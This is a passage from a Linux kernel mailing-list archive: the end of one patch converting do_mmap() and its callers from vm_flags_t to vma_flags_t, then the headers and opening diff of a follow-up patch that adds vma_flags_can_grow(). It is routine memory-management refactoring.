Reviewed-by: Zi Yan <ziy@nvidia.com>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 arch/mips/kernel/vdso.c |  4 +--
 fs/aio.c                |  2 +-
 include/linux/memfd.h   |  6 ++---
 include/linux/mm.h      |  6 +++--
 ipc/shm.c               |  3 ++-
 mm/memfd.c              | 15 +++++------
 mm/mmap.c               | 67 +++++++++++++++++++++++++++++--------------------
 mm/nommu.c              |  3 ++-
 mm/util.c               | 10 ++++----
 mm/vma.c                |  7 +++---
 mm/vma.h                |  2 +-
 11 files changed, 69 insertions(+), 56 deletions(-)

diff --git a/arch/mips/kernel/vdso.c b/arch/mips/kernel/vdso.c
index bd1fc17d3975..94873775fc0f 100644
--- a/arch/mips/kernel/vdso.c
+++ b/arch/mips/kernel/vdso.c
@@ -91,8 +91,8 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 
 		/* Map delay slot emulation page */
 		base = do_mmap(NULL, STACK_TOP, PAGE_SIZE, PROT_READ | PROT_EXEC,
-			       MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0, &unused,
-			       NULL);
+			       MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,
+			       EMPTY_VMA_FLAGS, 0, &unused, NULL);
 		if (IS_ERR_VALUE(base)) {
 			ret = base;
 			goto out;
diff --git a/fs/aio.c b/fs/aio.c
index f57fa21a2503..3de586da197b 100644
--- a/fs/aio.c
+++ b/fs/aio.c
@@ -604,7 +604,7 @@ static int aio_setup_ring(struct kioctx *ctx, unsigned int nr_events)
 
 	ctx->mmap_base = do_mmap(ctx->aio_ring_file, 0, ctx->mmap_size,
 				 PROT_READ | PROT_WRITE,
-				 MAP_SHARED, 0, 0, &unused, NULL);
+				 MAP_SHARED, EMPTY_VMA_FLAGS, 0, &unused, NULL);
 	mmap_write_unlock(mm);
 	if (IS_ERR((void *)ctx->mmap_base)) {
 		ctx->mmap_size = 0;
diff --git a/include/linux/memfd.h b/include/linux/memfd.h
index b4fda09dab9f..c159e40e3f34 100644
--- a/include/linux/memfd.h
+++ b/include/linux/memfd.h
@@ -14,9 +14,9 @@ struct folio *memfd_alloc_folio(struct file *memfd, pgoff_t idx);
  * to sealing, or 0 otherwise.
  *
  * We also update VMA flags if appropriate by manipulating the VMA flags pointed
- * to by vm_flags_ptr.
+ * to by vma_flags_ptr.
  */
-int memfd_check_seals_mmap(struct file *file, vm_flags_t *vm_flags_ptr);
+int memfd_check_seals_mmap(struct file *file, vma_flags_t *vma_flags_ptr);
 struct file *memfd_alloc_file(const char *name, unsigned int flags);
 int memfd_get_seals(struct file *file);
 int memfd_add_seals(struct file *file, unsigned int seals);
@@ -30,7 +30,7 @@ static inline struct folio *memfd_alloc_folio(struct file *memfd, pgoff_t idx)
 	return ERR_PTR(-EINVAL);
 }
 static inline int memfd_check_seals_mmap(struct file *file,
-					 vm_flags_t *vm_flags_ptr)
+					 vma_flags_t *vma_flags_ptr)
 {
 	return 0;
 }
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 7a7f559b3df0..d20aa2f80472 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -465,9 +465,11 @@ enum {
 #if defined(CONFIG_X86_USER_SHADOW_STACK) || defined(CONFIG_ARM64_GCS) || \
 	defined(CONFIG_RISCV_USER_CFI)
 #define VM_SHADOW_STACK	INIT_VM_FLAG(SHADOW_STACK)
+#define VMA_SHADOW_STACK mk_vma_flags(VMA_SHADOW_STACK_BIT)
 #define VMA_STARTGAP_FLAGS mk_vma_flags(VMA_GROWSDOWN_BIT, VMA_SHADOW_STACK_BIT)
 #else
 #define VM_SHADOW_STACK	VM_NONE
+#define VMA_SHADOW_STACK EMPTY_VMA_FLAGS
 #define VMA_STARTGAP_FLAGS mk_vma_flags(VMA_GROWSDOWN_BIT)
 #endif
 #if defined(CONFIG_PPC64)
@@ -4198,9 +4200,9 @@ get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 	return __get_unmapped_area(file, addr, len, pgoff, flags, 0);
 }
 
-extern unsigned long do_mmap(struct file *file, unsigned long addr,
+unsigned long do_mmap(struct file *file, unsigned long addr,
 	unsigned long len, unsigned long prot, unsigned long flags,
-	vm_flags_t vm_flags, unsigned long pgoff, unsigned long *populate,
+	vma_flags_t vma_flags, unsigned long pgoff, unsigned long *populate,
 	struct list_head *uf);
 extern int do_vmi_munmap(struct vma_iterator *vmi, struct mm_struct *mm,
 			 unsigned long start, size_t len, struct list_head *uf,
diff --git a/ipc/shm.c b/ipc/shm.c
index b3e8a58e177d..bb1a721a3e74 100644
--- a/ipc/shm.c
+++ b/ipc/shm.c
@@ -1661,7 +1661,8 @@ long do_shmat(int shmid, char __user *shmaddr, int shmflg,
 			goto invalid;
 	}
 
-	addr = do_mmap(file, addr, size, prot, flags, 0, 0, &populate, NULL);
+	addr = do_mmap(file, addr, size, prot, flags, EMPTY_VMA_FLAGS, 0,
+		       &populate, NULL);
 	*raddr = addr;
 	err = 0;
 	if (IS_ERR_VALUE(addr))
diff --git a/mm/memfd.c b/mm/memfd.c
index 6c72fe6caef7..c708d92533f4 100644
--- a/mm/memfd.c
+++ b/mm/memfd.c
@@ -370,39 +370,36 @@ static inline bool is_write_sealed(unsigned int seals)
 	return seals & (F_SEAL_WRITE | F_SEAL_FUTURE_WRITE);
 }
 
-static int check_write_seal(vm_flags_t *vm_flags_ptr)
+static int check_write_seal(vma_flags_t *vma_flags_ptr)
 {
-	vm_flags_t vm_flags = *vm_flags_ptr;
-	vm_flags_t mask = vm_flags & (VM_SHARED | VM_WRITE);
-
 	/* If a private mapping then writability is irrelevant. */
-	if (!(mask & VM_SHARED))
+	if (!vma_flags_test(vma_flags_ptr, VMA_SHARED_BIT))
 		return 0;
 
 	/*
 	 * New PROT_WRITE and MAP_SHARED mmaps are not allowed when
 	 * write seals are active.
 	 */
-	if (mask & VM_WRITE)
+	if (vma_flags_test(vma_flags_ptr, VMA_WRITE_BIT))
 		return -EPERM;
 
 	/*
 	 * This is a read-only mapping, disallow mprotect() from making a
 	 * write-sealed mapping writable in future.
 	 */
-	*vm_flags_ptr &= ~VM_MAYWRITE;
+	vma_flags_clear(vma_flags_ptr, VMA_MAYWRITE_BIT);
 
 	return 0;
 }
 
-int memfd_check_seals_mmap(struct file *file, vm_flags_t *vm_flags_ptr)
+int memfd_check_seals_mmap(struct file *file, vma_flags_t *vma_flags_ptr)
 {
 	int err = 0;
 	unsigned int *seals_ptr = memfd_file_seals_ptr(file);
 	unsigned int seals = seals_ptr ? *seals_ptr : 0;
 
 	if (is_write_sealed(seals))
-		err = check_write_seal(vm_flags_ptr);
+		err = check_write_seal(vma_flags_ptr);
 
 	return err;
 }
diff --git a/mm/mmap.c b/mm/mmap.c
index 308a43eabd83..bcc3793e532d 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -280,7 +280,7 @@ static inline bool file_mmap_ok(struct file *file, struct inode *inode,
  * do_mmap() - Perform a userland memory mapping into the current process
  * address space of length @len with protection bits @prot, mmap flags @flags
  * (from which VMA flags will be inferred), and any additional VMA flags to
- * apply @vm_flags. If this is a file-backed mapping then the file is specified
+ * apply @vma_flags. If this is a file-backed mapping then the file is specified
  * in @file and page offset into the file via @pgoff.
  *
  * This function does not perform security checks on the file and assumes, if
@@ -320,7 +320,8 @@ static inline bool file_mmap_ok(struct file *file, struct inode *inode,
  * (2) for details.
  * @flags: Flags specifying how the mapping should be performed, see mmap (2)
  * for details.
- * @vm_flags: VMA flags which should be set by default, or 0 otherwise.
+ * @vma_flags: VMA flags which should be set by default, or EMPTY_VMA_FLAGS
+ * otherwise.
  * @pgoff: Page offset into the @file if file-backed, should be 0 otherwise.
  * @populate: A pointer to a value which will be set to 0 if no population of
  * the range is required, or the number of bytes to populate if it is. Must be
@@ -335,7 +336,7 @@ static inline bool file_mmap_ok(struct file *file, struct inode *inode,
  */
 unsigned long do_mmap(struct file *file, unsigned long addr,
 			unsigned long len, unsigned long prot,
-			unsigned long flags, vm_flags_t vm_flags,
+			unsigned long flags, vma_flags_t vma_flags,
 			unsigned long pgoff, unsigned long *populate,
 			struct list_head *uf)
 {
@@ -399,13 +400,19 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 	 * to. we assume access permissions have been handled by the open
 	 * of the memory object, so we don't do any here.
 	 */
-	vm_flags |= calc_vm_prot_bits(prot, pkey) | calc_vm_flag_bits(file, flags) |
-			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
+	vma_flags_set_mask(&vma_flags,
+			   legacy_to_vma_flags(calc_vm_prot_bits(prot, pkey)));
+	vma_flags_set_mask(&vma_flags,
+			   legacy_to_vma_flags(calc_vm_flag_bits(file, flags)));
+	vma_flags_set_mask(&vma_flags, mm->def_vma_flags);
+	vma_flags_set(&vma_flags, VMA_MAYREAD_BIT, VMA_MAYWRITE_BIT,
+		      VMA_MAYEXEC_BIT);
 
 	/* Obtain the address to map to. we verify (or select) it and ensure
 	 * that it represents a valid section of the address space.
 	 */
-	addr = __get_unmapped_area(file, addr, len, pgoff, flags, vm_flags);
+	addr = __get_unmapped_area(file, addr, len, pgoff, flags,
+				   vma_flags_to_legacy(vma_flags));
 	if (IS_ERR_VALUE(addr))
 		return addr;
 
@@ -418,7 +425,7 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 		if (!can_do_mlock())
 			return -EPERM;
 
-	if (!mlock_future_ok(mm, vm_flags & VM_LOCKED, len))
+	if (!mlock_future_ok(mm, vma_flags_test(&vma_flags, VMA_LOCKED_BIT), len))
 		return -EAGAIN;
 
 	if (file) {
@@ -461,22 +468,23 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 			if (IS_APPEND(inode) && (file->f_mode & FMODE_WRITE))
 				return -EACCES;
 
-			vm_flags |= VM_SHARED | VM_MAYSHARE;
+			vma_flags_set(&vma_flags, VMA_SHARED_BIT, VMA_MAYSHARE_BIT);
 			if (!(file->f_mode & FMODE_WRITE))
-				vm_flags &= ~(VM_MAYWRITE | VM_SHARED);
+				vma_flags_clear(&vma_flags, VMA_MAYWRITE_BIT,
+						VMA_SHARED_BIT);
 			fallthrough;
 		case MAP_PRIVATE:
 			if (!(file->f_mode & FMODE_READ))
 				return -EACCES;
 			if (path_noexec(&file->f_path)) {
-				if (vm_flags & VM_EXEC)
+				if (vma_flags_test(&vma_flags, VMA_EXEC_BIT))
 					return -EPERM;
-				vm_flags &= ~VM_MAYEXEC;
+				vma_flags_clear(&vma_flags, VMA_MAYEXEC_BIT);
 			}
 
 			if (!can_mmap_file(file))
 				return -ENODEV;
-			if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
+			if (vma_flags_can_grow(&vma_flags))
 				return -EINVAL;
 			break;
 
@@ -488,23 +496,27 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 		 * Check to see if we are violating any seals and update VMA
 		 * flags if necessary to avoid future seal violations.
 		 */
-		err = memfd_check_seals_mmap(file, &vm_flags);
+		err = memfd_check_seals_mmap(file, &vma_flags);
 		if (err)
 			return (unsigned long)err;
 	} else {
 		switch (flags & MAP_TYPE) {
 		case MAP_SHARED:
-			if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
+			if (vma_flags_can_grow(&vma_flags))
 				return -EINVAL;
 			/*
 			 * Ignore pgoff.
 			 */
 			pgoff = 0;
-			vm_flags |= VM_SHARED | VM_MAYSHARE;
+			vma_flags_set(&vma_flags, VMA_SHARED_BIT, VMA_MAYSHARE_BIT);
 			break;
-		case MAP_DROPPABLE:
-			if (VM_DROPPABLE == VM_NONE)
+		case MAP_DROPPABLE: {
+			vma_flags_t droppable = VMA_DROPPABLE;
+
+			if (vma_flags_empty(&droppable))
 				return -EOPNOTSUPP;
+			vma_flags_set_mask(&vma_flags, droppable);
+
 			/*
 			 * A locked or stack area makes no sense to be droppable.
 			 *
@@ -515,23 +527,24 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 			 */
 			if (flags & (MAP_LOCKED | MAP_HUGETLB))
 			        return -EINVAL;
-			if (vm_flags & (VM_GROWSDOWN | VM_GROWSUP))
+			if (vma_flags_can_grow(&vma_flags))
 			        return -EINVAL;
 
-			vm_flags |= VM_DROPPABLE;
-
 			/*
 			 * If the pages can be dropped, then it doesn't make
 			 * sense to reserve them.
 			 */
-			vm_flags |= VM_NORESERVE;
+			vma_flags_set(&vma_flags, VMA_NORESERVE_BIT);
 
 			/*
 			 * Likewise, they're volatile enough that they
 			 * shouldn't survive forks or coredumps.
 			 */
-			vm_flags |= VM_WIPEONFORK | VM_DONTDUMP;
+			vma_flags_set(&vma_flags, VMA_WIPEONFORK_BIT,
+				      VMA_DONTDUMP_BIT);
+
 			fallthrough;
+		}
 		case MAP_PRIVATE:
 			/*
 			 * Set pgoff according to addr for anon_vma.
@@ -550,16 +563,16 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 	if (flags & MAP_NORESERVE) {
 		/* We honor MAP_NORESERVE if allowed to overcommit */
 		if (sysctl_overcommit_memory != OVERCOMMIT_NEVER)
-			vm_flags |= VM_NORESERVE;
+			vma_flags_set(&vma_flags, VMA_NORESERVE_BIT);
 
 		/* hugetlb applies strict overcommit unless MAP_NORESERVE */
 		if (file && is_file_hugepages(file))
-			vm_flags |= VM_NORESERVE;
+			vma_flags_set(&vma_flags, VMA_NORESERVE_BIT);
 	}
 
-	addr = mmap_region(file, addr, len, vm_flags, pgoff, uf);
+	addr = mmap_region(file, addr, len, vma_flags, pgoff, uf);
 	if (!IS_ERR_VALUE(addr) &&
-	    ((vm_flags & VM_LOCKED) ||
+	    (vma_flags_test(&vma_flags, VMA_LOCKED_BIT) ||
 	     (flags & (MAP_POPULATE | MAP_NONBLOCK)) == MAP_POPULATE))
 		*populate = len;
 	return addr;
@@ -1191,7 +1204,7 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 	}
 
 	ret = do_mmap(vma->vm_file, start, size,
-			prot, flags, 0, pgoff, &populate, NULL);
+			prot, flags, EMPTY_VMA_FLAGS, pgoff, &populate, NULL);
 out:
 	mmap_write_unlock(mm);
 	fput(file);
diff --git a/mm/nommu.c b/mm/nommu.c
index adc0b0ca906b..498e01ee40b0 100644
--- a/mm/nommu.c
+++ b/mm/nommu.c
@@ -1014,11 +1014,12 @@ unsigned long do_mmap(struct file *file,
 			unsigned long len,
 			unsigned long prot,
 			unsigned long flags,
-			vm_flags_t vm_flags,
+			vma_flags_t vma_flags,
 			unsigned long pgoff,
 			unsigned long *populate,
 			struct list_head *uf)
 {
+	vm_flags_t vm_flags = vma_flags_to_legacy(vma_flags);
 	struct vm_area_struct *vma;
 	struct vm_region *region;
 	struct rb_node *rb;
diff --git a/mm/util.c b/mm/util.c
index 5090457542ca..bf0513d1d3d0 100644
--- a/mm/util.c
+++ b/mm/util.c
@@ -578,8 +578,8 @@ unsigned long vm_mmap_pgoff(struct file *file, unsigned long addr,
 	if (!ret) {
 		if (mmap_write_lock_killable(mm))
 			return -EINTR;
-		ret = do_mmap(file, addr, len, prot, flag, 0, pgoff, &populate,
-			      &uf);
+		ret = do_mmap(file, addr, len, prot, flag, EMPTY_VMA_FLAGS, pgoff,
+			      &populate, &uf);
 		mmap_write_unlock(mm);
 		userfaultfd_unmap_complete(mm, &uf);
 		if (populate)
@@ -627,20 +627,20 @@ EXPORT_SYMBOL(vm_mmap);
 unsigned long vm_mmap_shadow_stack(unsigned long addr, unsigned long len,
 		unsigned long flags)
 {
+	vma_flags_t vma_flags = VMA_SHADOW_STACK;
 	struct mm_struct *mm = current->mm;
 	unsigned long ret, unused;
-	vm_flags_t vm_flags = VM_SHADOW_STACK;
 
 	flags |= MAP_ANONYMOUS | MAP_PRIVATE;
 	if (addr)
 		flags |= MAP_FIXED_NOREPLACE;
 
 	if (IS_ENABLED(CONFIG_TRANSPARENT_HUGEPAGE))
-		vm_flags |= VM_NOHUGEPAGE;
+		vma_flags_set(&vma_flags, VMA_NOHUGEPAGE_BIT);
 
 	mmap_write_lock(mm);
 	ret = do_mmap(NULL, addr, len, PROT_READ | PROT_WRITE, flags,
-		      vm_flags, 0, &unused, NULL);
+		      vma_flags, 0, &unused, NULL);
 	mmap_write_unlock(mm);
 
 	return ret;
diff --git a/mm/vma.c b/mm/vma.c
index 9d556d33b24b..70b08c76ea2f 100644
--- a/mm/vma.c
+++ b/mm/vma.c
@@ -2883,7 +2883,7 @@ static unsigned long __mmap_region(struct file *file, unsigned long addr,
  * file to be mapped, otherwise NULL.
  * @addr: The page-aligned address at which to perform the mapping.
  * @len: The page-aligned, non-zero, length of the mapping.
- * @vm_flags: The VMA flags which should be applied to the mapping.
+ * @vma_flags: The VMA flags which should be applied to the mapping.
  * @pgoff: If @file is specified, the page offset into the file, if not then
  * the virtual page offset in memory of the anonymous mapping.
  * @uf: Optionally, a pointer to a list head used for tracking userfaultfd unmap
@@ -2893,12 +2893,11 @@ static unsigned long __mmap_region(struct file *file, unsigned long addr,
  * been performed.
  */
 unsigned long mmap_region(struct file *file, unsigned long addr,
-			  unsigned long len, vm_flags_t vm_flags,
+			  unsigned long len, vma_flags_t vma_flags,
 			  unsigned long pgoff, struct list_head *uf)
 {
 	unsigned long ret;
 	bool writable_file_mapping = false;
-	const vma_flags_t vma_flags = legacy_to_vma_flags(vm_flags);
 
 	mmap_assert_write_locked(current->mm);
 
@@ -2907,7 +2906,7 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
 		return -EACCES;
 
 	/* Allow architectures to sanity-check the vm_flags. */
-	if (!arch_validate_flags(vm_flags))
+	if (!arch_validate_flags(vma_flags_to_legacy(vma_flags)))
 		return -EINVAL;
 
 	/* Map writable and ensure this isn't a sealed memfd. */
diff --git a/mm/vma.h b/mm/vma.h
index adb7a0ba1192..4eb85b4a6adc 100644
--- a/mm/vma.h
+++ b/mm/vma.h
@@ -517,7 +517,7 @@ int mm_take_all_locks(struct mm_struct *mm);
 void mm_drop_all_locks(struct mm_struct *mm);
 
 unsigned long mmap_region(struct file *file, unsigned long addr,
-		unsigned long len, vm_flags_t vm_flags, unsigned long pgoff,
+		unsigned long len, vma_flags_t vma_flags, unsigned long pgoff,
 		struct list_head *uf);
 
 int do_brk_flags(struct vma_iterator *vmi, struct vm_area_struct *brkvma,

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360564.1613428 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkG-0007d1-QB; Sun, 12 Jul 2026 05:28:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360564.1613428; Sun, 12 Jul 2026 05:28:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkG-0007cZ-KQ; Sun, 12 Jul 2026 05:28:52 +0000
Received: by outflank-mailman (input) for mailman id 1360564;
 Sat, 11 Jul 2026 18:46:07 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiciE-0005H5-VG
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:46:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiciD-003kRr-R3
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:46:05 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528f27-2eae-0a2a0a5409dd-0a2a4504e330-36
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:46:05 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528f6c-b1e5-0a2a45040019-ac6904fead5a-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:46:05 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id EA6E6601D9;
 Sat, 11 Jul 2026 18:46:03 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 2428F1F00A3A;
 Sat, 11 Jul 2026 18:45:42 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795563;
	bh=4X8Clz3fd1owNiO9Pv6vUhPn41dQXdJma9VDgzp5GpU=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=b3IJ5UKXJWHdstaNE7y5ot+/3k3QKa6AhRc7Wffa4hfZ305PVpEvaJKNGHLJ3wiys
	 kqVIiX25qZVXJaTT+Qgjr5ODbLIA55N49hux0vbRs0et3au9LBQKwrVwghVFXrLl7E
	 817VHGE33QrB50d5C1LscqS/7pNneUD0nYGcnWDai8gQyjsw4TcvH+fgmF1OwsvnN9
	 2pvaWR1/mhz3yp4qVYs3qwET2uh7D30e/8XDBnKYPp1TnRGR39oxh4CFkY52uJlQ/8
	 VseCL2NAhZF2r9D5qvydoKSBQPUnQ2/tkYhPSxvwJKQj0iFEdbJlYmSDUW8OLt0N5o
	 c+59QXF0t/z1Q==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:44:58 +0100
Subject: [PATCH v2 01/13] mm: introduce vma_flags_can_grow() and
 vma_can_grow()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-1-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=2177; i=ljs@kernel.org;
 h=from:subject:message-id; bh=oSsuzEZdPIZ+otSvvS1qpHgk2++YqmMZy2jJkjlchbs=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i1DpYuvr35hfGA9T/DrI/smfbvJXDzdl/eEd9+FF
 xnT800OdZSyMIhxMciKKbI8/yK+P0gkbF7nBX83mDmsTCBDGLg4BWAiZhoM/6xY7sV0KDJr3XKY
 uPtiX7X4ZaX5Xemv3hiY8c63tfCt1WL4xXQgV6XZa8a6lMQPuqVRFwM4zMVNbzY+TJao67/8NWA
 vKwA=
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-ebf023/1783795565-7F9AEFE7-FFD1824F/0/0
X-purgate-type: clean
X-purgate-size: 2179

These test whether the VMA has stack semantics, i.e. is able to grow
upwards or downwards depending on the architecture.

In order to account for arches which do not support upward-growing stacks,
introduce VMA_GROWSUP whose definition depends on the architecture
supporting it, and use vma_flags_test_single_mask() in vma_flags_can_grow()
to account for this.

No functional change intended.

Reviewed-by: Zi Yan <ziy@nvidia.com>
Reviewed-by: Lance Yang <lance.yang@linux.dev>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 include/linux/mm.h | 21 ++++++++++++++++++---
 1 file changed, 18 insertions(+), 3 deletions(-)

diff --git a/include/linux/mm.h b/include/linux/mm.h
index 32bb723ffbb9..7a7f559b3df0 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -474,6 +474,7 @@ enum {
 #define VM_SAO		INIT_VM_FLAG(SAO)
 #elif defined(CONFIG_PARISC)
 #define VM_GROWSUP	INIT_VM_FLAG(GROWSUP)
+#define VMA_GROWSUP	mk_vma_flags(VMA_GROWSUP_BIT)
 #elif defined(CONFIG_SPARC64)
